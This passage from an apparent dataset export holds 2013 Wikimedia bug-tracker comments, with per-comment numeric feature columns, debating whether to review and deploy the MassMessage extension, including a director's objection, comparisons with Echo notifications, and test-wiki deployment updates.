The above can occur independently or in parallel to the above. If Product thinks it cool to commit Platform's constrained engineering resources to deploying and supporting MassMessage Extension forever and use it to take advantage of Echo when the features roll out in some undefined future, consider this thinking moot or at least orthogonal to MassMessage. IMO, it is bad enough that something important like BetaFeatures is without a home, but my answer from Features is ""No"" for MassMessage. If this was my own engineer, I'd raise hell with them for this and yell at their Product Manager for not being a good steward of Platform's time.",,,1380828181,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.8571428571428571,0.3333333333333333,0.14285714285714285,1.0952380952380953,1.380952380952381,4.523809523809524,1.619047619047619,0.42857142857142855,0.14285714285714285,0.42857142857142855,1.8095238095238095,1.2857142857142858,0.0,0.23809523809523808,0.3333333333333333,2.6666666666666665,0.42857142857142855,6.714285714285714,13.428571428571429,0.47619047619047616,1.9523809523809523,0.8571428571428571,0.047619047619047616,0.047619047619047616,1.0,0.38095238095238093,0.0,0.5714285714285714,0.2857142857142857,0.6190476190476191,0.14285714285714285,5.761904761904762,1.1428571428571428,1.5714285714285714,0.5714285714285714,0.0,0.047619047619047616,0.047619047619047616,0.3333333333333333,0.47619047619047616,0.14285714285714285,0.9047619047619048,0.19047619047619047,3.2857142857142856,0.09523809523809523,0.2857142857142857,0.2857142857142857,0.09523809523809523,0.09523809523809523,12.142857142857142,1.0476190476190477,1.2380952380952381,0.23809523809523808,0.5714285714285714,0.19047619047619047,0.047619047619047616,0.047619047619047616,1.0,0.5238095238095238,0.14285714285714285,0.6190476190476191,1.1428571428571428,0.047619047619047616,0.5238095238095238,0.3333333333333333,0.09523809523809523,0.047619047619047616,4.904761904761905,4.095238095238095,10.619047619047619,1.7142857142857142,3.5238095238095237,7.761904761904762,0.0,0.0,0.19047619047619047,0.0,4.809523809523809,0.047619047619047616,1.1428571428571428,0.0,5.142857142857143,13.428571428571429,5.666666666666667,0.047619047619047616,1.0476190476190477,0.0,5.142857142857143,0.0,1.0952380952380953,2.2857142857142856,0.3333333333333333,2.0952380952380953,0.47619047619047616,0.14285714285714285,1.0476190476190477,3.99963431617124,0.7018825203129853,"**tchay** wrote:

We have two separate but related bugs here: 

URL
URL

bug 35306 is an tracking bug MZMcBride posted for a solution to deal with EdwardsBot. I believe it dates to around the time I was first employed almost two years ago.

bug 52723 is a recent bug to deploy Legoktm's MassMessage extension as a solution to bug 35306, it is less than a month old there has been little public discussion, and until it appeared on the deploy calendar last week, I wasn't even aware of its existence.

The problem with moving on bug 52723 as a solution to bug 35306 is it commits Features Engineering to maintaining an extension that is a stop gap solution with no or very little discussion in a manner that doesn't serve a broad strategic goal about how messages, notifications, etc. should be handled on the wikis. To the first, maybe there is something wrong with my e-mail client, but I have yet to find this discussion on wikitech-l or anywhere outside the bug.

Because of the above, my view is that this solution is being back-doored in and just moves the ""technical debt"" from one sheet (the community and tool labs) to another that has even less capability. I am biased against that because the latter sheet (WMF Features Engineering) is my responsibility. This is just my view, I'm open for us coming to consensus on a solution for this bug, but what I have seen is not consensus.

It is along these lines that, I asked to remove MassMessage from the deploy calendar when it was added to the deploy calendar without discussion from Features, Design, or Product last week. After discussion during that Friday meeting among the EPMs, I compromised to let it to go out on two test wikis, but not on mediawiki. Nobody made the case that it should go out on mediawiki. I demurred because no person at the WMF, including me as Director of Features Engineering, should fiat a decision when unaware of the status of discussions involved.

But let frank: if this had been a WMF employee writing this extension, it wouldn't have made it to even the test wikis by a country mile. In fact, a lot of extensions have been written by employees and either have extensive discussion, review, and buy-in (e.g. GuidedTours), or have not been deployed (e.g. Etherpad, the org chart, BetaFeatures) even though much more work has been done on them.

I also don't like that WMF resources in Platform and Design are being spent to review something that has had no adequate discussion over in the annual plan, in anyone's 20% time, in any cross-team discussion, or public discussion on wikitech-l (There was a last minute thread in the Design list, I am not on the design list, nor should I be, and the Creative Director is new and the team is just trying to get their sea legs and some consideration to that needs to be done here). Furthermore, after further discussion, nearly all of Product felt I should not have compromised earlier because the following situation might occur: Having gotten it onto ""the cluster"" people would then move to back-door it into deployment on the basis that it's already on the cluster. Their prediction is occurring right now. This is a bogus argument because nobody agreed this should be on the cluster, it's just that nobody has reviewed it in a thorough enough manner to shout ""NO!""

If necessary, I'm going to shout ""NO!"" at this moment.

Having said that, there is the larger issue of bug 35306 which has been sitting there unsolved for a while as well as the smaller issue of the month's work Legoktm and MZMcBride have already put into Bug 52723 and [[mw:Extension:MassMessage]] possibly going to waste if I keep blocking it. Besides, MZ is sitting there trying to hold everything up on his own shoulders with EdwardsBot, and we all know it.

…

Let me address the functionality overlap with Echo:

LanguageEngineering built their own parallel message/notification system before Echo that lives on Meta today. They commit to supporting their own parallel message/notification system, and I'm okay with it living outside Echo (where it currently does), but there is an understanding that they've basically committed to that work with no support from Features for the duration that it does live outside Echo.

In those lines, I'm glad that Platform has helped out here, but unless Platform is committing to support MassMessage indefinitely into the future and not just provide one-time security and deploy assistance, I'm not okay with them adding to Features work even though they've been super helpful to MZMcBride and Legoktm. If Dan Garry is willing to commit Platform to support MassMessage, I'll think the same precedent we've done with LE applies here.

Furthermore, before *in-echo, outside-echo, use-echo) for a solution to be bug 35306, it needs to actually exhibit product discipline. The WMF gets panned for having a ""agile processes"" but not actually doing so, but we do have some process and we need to at least apply the same product discipline that we apply everywhere else to this bug.

For example, features in MassMessage and EdwardsBot need to be addressed in a Must-Have, Should-Have, Could-Have, Won't-Have (MoSCoW) framework. Features like ""mass delivery from a list"" are probably a Must-Have; features like ""cross-wiki notification"" are probably a should-have, other features like ""public over private notifications"", ""page-centric over user-centric"" or ""longer stream notifications"" are either not a must-have or could have or are should-haves to  be done outside Echo by a different service (bot) using the Echo API or some extension thereof. All that is a product issue, and I nor anyone in my team is in product. Those decisions should be done in discussion with the Product team and they should not be disintermediated from it, which they have been.

I understand that many people would like to see a solution to Bug 35306 would be great to have. I'd like to see a better Signpost notification system and a more generalized solution for newsletter delivery also! I'd also like a pony. But we have already committed resources and continue to commit resources without discussion from the people (Product Design, not Features Engineering) who have been tasked with this responsibility and are very good at these sort of thing. I hope everyone participating on this bug can see that dropping this bomb on a newly hired associate product manager is simply not cool on so many levels.

…

Here is my suggestion:

(This is thinking, not a directive so don't think of this as definitive or final, I'm seeking consensus here.)

First, bug 35306 is a long-standing request. I think it's important we get headway on this, but I hope others will be understanding if it doesn't happen immediately, so long as there is a commitment for this to happen.

(For perspective, Flow was first proposed years ago, and was added to the annual plan almost two years ago before their first actual development sprint was completed (end of this week!). Echo was first deployed almost 8 months ago and is still not out on all the wikis. BetaFeatures has been in discussion for months and is still not deployed, nor is the commitment to maintain inside Features and that has caused a lot of issues. Fixing things right right takes time because consensus takes time and open discussion.)

There is an RfP for student developer time for legoktm for things like this (Finding a solution for Bug 35306 but not [[mw:Extension:MassMessage]] because MassMessage would not be deployed if it was my own engineer). Benny Situ has been spending all his time supporting [[mw:Extension:Echo]] when he should balancing [[mw:Flow]] development time into Echo bug fixes and needs to spend at least one sprint (two weeks) solely getting up to speed on Flow before doing enhancements for [[wm:Echo]]. Furthermore, Echo is not deployed everywhere yet and is still rolling out (though I've been pushing up the timetable on this as I feel we're too slow here), so it can't reach the places that EdwardsBot cat.

After the above happen, I'd like Benny and Kunal to work together to add some of the functionality of EdwardsBot into Echo for mass message delivery. Because of this, I'm moving bug 35306 into Echo as an enhancement and raising it's priority.

In the meantime I'll be OK with leaving MassMessage on test and test2 wikis because the alternative would be to remove it from the cluster entirely. The experiences and code Kunal derives by that can inform the enhancement to Echo, as well as things it already does that find themselves outside Echo (Echo does not and should not post to talk pages). So I figure two stages:

1) wait for some things to happen: legoktm to get an RfP, Echo to be on all wikis, and Benny to do an entire Flow only sprint and balancing his time more effectively wrt Echo.
2) MoSCoW other features of MassMessage/EdwardsBot for integration into Echo
3) Enhance and deploy a first pass to Echo to allow some sort of mass notification from a wiki list
4) Some sort of cross wiki notification enhancement (requires a design pass)
5) Discuss how to implement must-have or should-have features of EdwardsBot that can't live in Echo (permanent log of events)?
6) Add those to plan and be done.

The above can occur independently or in parallel to the above. If Product thinks it cool to commit Platform's constrained engineering resources to deploying and supporting MassMessage Extension forever and use it to take advantage of Echo when the features roll out in some undefined future, consider this thinking moot or at least orthogonal to MassMessage. IMO, it is bad enough that something important like BetaFeatures is without a home, but my answer from Features is ""No"" for MassMessage. If this was my own engineer, I'd raise hell with them for this and yell at their Product Manager for not being a good steward of Platform's time."
251366,Review and deploy MassMessage extension to Wikimedia wikis,"As someone that has discussed the topic of mass notifications / announcements / newsletters with many people I agree with the approach being proposed here:

* MassMessage solves a problem here and now by deprecating EdwardsBotwith a better solution.

* There is a possibility to integrate an Echo plugin to MM in the future, but this is no blocker for a deployment to Wikimedia wikis now.

* There are other future possibilities around announcements / newsletters in the future, in the lines proposed at https://www.mediawiki.org/wiki/Extension:Newsletter#Wishlist and MassMessages might or might not be a good project to handle this, but again this is no obstacle for a deployment now.",,,1380730233,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0.5,0.5,0.0,0.5,1.0,4.0,2.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.5,0.5,0.5,5.0,11.0,0.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.5,0.0,0.5,4.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,1.5,0.0,3.0,4.5,0.0,0.0,0.0,0.0,0.0,10.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.5,4.5,7.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,11.0,4.5,0.0,0.0,0.0,0.5,0.0,0.5,4.5,0.0,0.5,0.5,0.0,0.0,4.4491525423728815,0.771186440677966,"As someone that has discussed the topic of mass notifications / announcements / newsletters with many people I agree with the approach being proposed here:

* MassMessage solves a problem here and now by deprecating EdwardsBotwith a better solution.

* There is a possibility to integrate an Echo plugin to MM in the future, but this is no blocker for a deployment to Wikimedia wikis now.

* There are other future possibilities around announcements / newsletters in the future, in the lines proposed at URL and MassMessages might or might not be a good project to handle this, but again this is no obstacle for a deployment now."
251358,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #25)
> There is some overlap with Echo with this. 
In general, yes. Both extensions provide a 'notification' functionality, however there are some pretty big differences as well.

1) Echo notifications for the most part are private; only you can see your Echo notifications. MM is designed so that everything (target list, message content) is fully public.

2) Echo is centered around users, given that you can only send notifications to users. MM can send to basically any page, which is necessary for global message delivery (most messages are sent to village pumps, not users directly).

3) Echo notifications are quick short messages that usually are just a link to something else. In many cases, EdwardsBot delivers the whole message to your talk page (example: <https://en.wikipedia.org/?diff=prev&oldid=565236352>). In this regard MM has been designed so that the end user receiving the message would not see any difference.

(In reply to comment #25)
> if we enable this extension we could always disable it should
> Echo supersede it.

I don't think merging MM into Echo is a good idea. Rather, MM should use Echo notifications instead of talk page ones if $wgMMUseEcho is enabled. Or something like that...",,,1380729349,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.3333333333333333,1.0,0.3333333333333333,2.0,1.3333333333333333,4.333333333333333,2.0,0.0,0.0,0.3333333333333333,3.3333333333333335,1.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,6.0,9.0,1.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,5.333333333333333,1.3333333333333333,0.0,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,13.666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,4.333333333333333,9.666666666666666,2.3333333333333335,0.3333333333333333,5.333333333333333,0.0,0.0,0.0,0.6666666666666666,3.0,0.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,9.0,5.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.6666666666666666,1.0,0.0,1.0,0.0,0.6666666666666666,1.3333333333333333,3.9649122807017547,0.7675438596491229,"(In reply to comment #25)
QUOTE
In general, yes. Both extensions provide a 'notification' functionality, however there are some pretty big differences as well.

1) Echo notifications for the most part are private; only you can see your Echo notifications. MM is designed so that everything (target list, message content) is fully public.

2) Echo is centered around users, given that you can only send notifications to users. MM can send to basically any page, which is necessary for global message delivery (most messages are sent to village pumps, not users directly).

3) Echo notifications are quick short messages that usually are just a link to something else. In many cases, EdwardsBot delivers the whole message to your talk page (example: <URL In this regard MM has been designed so that the end user receiving the message would not see any difference.

(In reply to comment #25)
QUOTE
QUOTE

I don't think merging MM into Echo is a good idea. Rather, MM should use Echo notifications instead of talk page ones if $wgMMUseEcho is enabled. Or something like that..."
251352,Review and deploy MassMessage extension to Wikimedia wikis,"There is some overlap with Echo with this. On the other hand, there are some things that this might be suited for, such as the delivery of the Wikipedia Signpost. It's my view that an in-built solution to replace EdwardsBot would be useful, and if we enable this extension we could always disable it should Echo supersede it.

I'm CCing Fabrice Florin, the product manager for notifications, to see if he has any input.",,,1380726099,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,3.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,2.0,5.0,0.0,1.0,15.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,2.0,0.0,0.0,9.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,5.0,14.0,3.0,1.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,15.0,9.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9431818181818183,0.75,"There is some overlap with Echo with this. On the other hand, there are some things that this might be suited for, such as the delivery of the Wikipedia Signpost. It's my view that an in-built solution to replace EdwardsBot would be useful, and if we enable this extension we could always disable it should Echo supersede it.

I'm CCing Fabrice Florin, the product manager for notifications, to see if he has any input."
251347,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #19)
> Mostly, I brought this (deploying MassMessage) up in a Deployment updates
> meeting, and there was some push back from a product view. In short:
> ""shouldn't this functionality be built into something like Echo?"" So, I won't
> go around them and deploy MassMessage everywhere until that conversation is
> settled (for some value of ""settled"").

I'm still awaiting feedback from Terry, Howie, or Fabrice on bug 35306 (I also e-mailed them yesterday with a pointer to the bug), however Lego pointed out to me that Echo doesn't currently support cross-wiki notifications, so Echo integration is probably completely off the table for now.

I think a month of testing is sufficient for this extension, so I've tentatively scheduled a deployment to all Wikimedia wikis for the end of October (cf. <https://wikitech.wikimedia.org/w/index.php?diff=84903&oldid=84888#Near_term>). You know the calendar much better than me, though, so let me know if that's a particularly bad time for whatever reason.",,,1380680719,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.5,0.0,0.5,0.0,0.5,3.5,0.5,0.0,0.5,0.5,1.0,1.5,0.0,0.0,0.0,4.5,0.0,8.0,12.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,2.5,0.0,0.5,0.0,0.0,0.0,11.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,5.5,1.5,11.5,2.0,1.0,8.0,0.0,0.0,0.0,0.5,2.5,0.0,1.0,0.0,5.5,12.5,6.0,0.0,0.0,0.0,5.5,0.0,0.5,2.5,2.5,0.5,0.5,0.0,0.5,3.806625258799172,0.7410973084886128,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm still awaiting feedback from Terry, Howie, or Fabrice on bug 35306 (I also e-mailed them yesterday with a pointer to the bug), however Lego pointed out to me that Echo doesn't currently support cross-wiki notifications, so Echo integration is probably completely off the table for now.

I think a month of testing is sufficient for this extension, so I've tentatively scheduled a deployment to all Wikimedia wikis for the end of October (cf. <URL You know the calendar much better than me, though, so let me know if that's a particularly bad time for whatever reason."
251342,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #22)

Hah! I just came here to write pretty much the same comment. Brilliant. Thank you, Lego.

Testing is underway (cf. [[testwiki:Special:Log/massmessage]]) and feedback has started to come in (cf. [[m:Talk:MassMessage]]).",,,1380652159,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,7.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,16.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,4.0,3.0,1.0,0.0,3.0,7.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0428571428571427,0.6714285714285714,"(In reply to comment #22)

Hah! I just came here to write pretty much the same comment. Brilliant. Thank you, Lego.

Testing is underway (cf. [[testwiki:Special:Log/massmessage]]) and feedback has started to come in (cf. [[m:Talk:MassMessage]])."
251337,Review and deploy MassMessage extension to Wikimedia wikis,"Some updates:

MassMessage was successfully deployed to test and test2 today (thanks Reedy!). I did a few simple tests making sure everything worked fine (https://test.wikipedia.org/w/index.php?title=Special%3ALog&type=massmessage&user=Legoktm&page=&year=&month=-1&tagfilter=&hide_patrol_log=1&hide_review_log=1&hide_thanks_log=1)

MZMcBride has sent out a message to people who currently use EdwardsBot on enwiki and meta asking them to test it on testwiki and provide feedback (https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Spam&oldid=5895864).

We're still waiting on comments from Fabrice/Howie/Terry (bug 35306 comment 20).

[[mw:Help:Extension:MassMessage]] has documentation on how an administrator would use the special page to send out a message. [[m:MassMessage]] has also been created.",,,1380607500,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1.0,0.5,0.0,1.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,3.5,7.0,0.5,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.5,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,3.5,1.5,10.5,1.0,1.5,4.0,0.0,0.0,0.5,0.0,3.0,0.0,1.5,0.0,2.5,7.0,7.0,0.0,0.0,0.0,2.5,0.0,1.5,2.5,0.5,2.0,0.0,0.0,5.0,3.942622950819672,0.778688524590164,"Some updates:

MassMessage was successfully deployed to test and test2 today (thanks Reedy!). I did a few simple tests making sure everything worked fine (URL

MZMcBride has sent out a message to people who currently use EdwardsBot on enwiki and meta asking them to test it on testwiki and provide feedback (URL

We're still waiting on comments from Fabrice/Howie/Terry (bug 35306 comment 20).

[[mw:Help:Extension:MassMessage]] has documentation on how an administrator would use the special page to send out a message. [[m:MassMessage]] has also been created."
251333,Review and deploy MassMessage extension to Wikimedia wikis,"After a couple of updates, it all looks ok from the security side.",,,1380131839,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,12,,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,"After a couple of updates, it all looks ok from the security side."
251329,Review and deploy MassMessage extension to Wikimedia wikis,"Err, I mean, after Chris S gives the all clear, security-review-wise: https://bugzilla.wikimedia.org/show_bug.cgi?id=52723#c16",,,1380044491,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,12,,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.85,"Err, I mean, after Chris S gives the all clear, security-review-wise: URL"
251324,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #18)
> (In reply to comment #17)
> > There was a request to see if this extension would make sense as an
> > improvement to Notifications/Echo. This discussion would probably be good to
> > have with the WMF product team (maybe including Fabrice, Terry, and Howie).
> 
> This already took place at bug 35306.

Right, so, I'm deferring judgement on that (and related) conversations to Terry C and Howie F right now. More on why below...

> > I'll default to defer for now, until that conversation happens.
> 
> I don't know what this means. Can you clarify?

Mostly, I brought this (deploying MassMessage) up in a Deployment updates meeting, and there was some push back from a product view. In short: ""shouldn't this functionality be built into something like Echo?"" So, I won't go around them and deploy MassMessage everywhere until that conversation is settled (for some value of ""settled"").

Now, what we should do is deploy MassMessage somewhere so you/others can test its functionality on a WMF production-like site. Let's get this out to test2.wikipedia this Thursday. Filed bug 54518 for that.",,,1380044416,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,12,,1.0,0.5,0.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,2.0,0.0,7.0,11.0,0.5,0.5,1.0,0.0,0.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.5,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,1.0,3.5,0.0,0.0,0.0,0.0,0.0,8.0,1.5,2.5,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,2.5,17.0,0.5,2.0,6.5,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,4.5,11.0,8.5,0.5,2.5,0.0,4.5,0.0,1.0,1.5,0.5,1.0,0.5,0.0,0.0,3.776470588235294,0.7,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Right, so, I'm deferring judgement on that (and related) conversations to Terry C and Howie F right now. More on why below...

QUOTE
QUOTE
QUOTE

Mostly, I brought this (deploying MassMessage) up in a Deployment updates meeting, and there was some push back from a product view. In short: ""shouldn't this functionality be built into something like Echo?"" So, I won't go around them and deploy MassMessage everywhere until that conversation is settled (for some value of ""settled"").

Now, what we should do is deploy MassMessage somewhere so you/others can test its functionality on a WMF production-like site. Let's get this out to test2.wikipedia this Thursday. Filed bug 54518 for that."
251319,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #17)
> There was a request to see if this extension would make sense as an
> improvement to Notifications/Echo. This discussion would probably be good to
> have with the WMF product team (maybe including Fabrice, Terry, and Howie).

This already took place at bug 35306.

> I'll default to defer for now, until that conversation happens.

I don't know what this means. Can you clarify?",,,1379779756,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,0.0,5.0,0.0,5.0,8.0,3.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1315789473684212,0.7894736842105263,"(In reply to comment #17)
QUOTE
QUOTE
QUOTE

This already took place at bug 35306.

QUOTE

I don't know what this means. Can you clarify?"
251312,Review and deploy MassMessage extension to Wikimedia wikis,"There was a request to see if this extension would make sense as an improvement to Notifications/Echo. This discussion would probably be good to have with the WMF product team (maybe including Fabrice, Terry, and Howie).

I'll default to defer for now, until that conversation happens.",,,1379703587,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,16.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.155172413793103,0.8620689655172413,"There was a request to see if this extension would make sense as an improvement to Notifications/Echo. This discussion would probably be good to have with the WMF product team (maybe including Fabrice, Terry, and Howie).

I'll default to defer for now, until that conversation happens."
251304,Review and deploy MassMessage extension to Wikimedia wikis,"Just an update, I'm still working on the review. There were a few bits that looked odd as I was testing, so I'd like to dig into those before giving the all clear. Should be able to get that finished on Monday.",,,1379649523,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,6.0,0.0,4.0,16.0,0.0,4.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,14.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,16.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,6.0,0.0,0.0,0.0,3.4489795918367347,0.8163265306122449,"Just an update, I'm still working on the review. There were a few bits that looked odd as I was testing, so I'd like to dig into those before giving the all clear. Should be able to get that finished on Monday."
251298,Review and deploy MassMessage extension to Wikimedia wikis,"I just spent a few minutes talking with Chris who said he would be able to do a security review of the extension this week.

